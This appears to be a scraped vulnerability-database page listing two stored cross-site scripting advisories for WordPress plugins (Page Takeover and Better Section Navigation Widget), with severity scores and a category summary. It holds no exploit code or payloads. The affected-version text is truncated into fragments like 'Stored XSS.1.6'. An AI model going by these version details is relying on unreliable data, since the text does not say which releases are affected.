Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in FancyThemes Page Takeover allows Stored XSS.1.6. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in cornershop Better Section Navigation Widget allows Stored XSS.6.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40696

Related CWEs

MITRE ATT&CK

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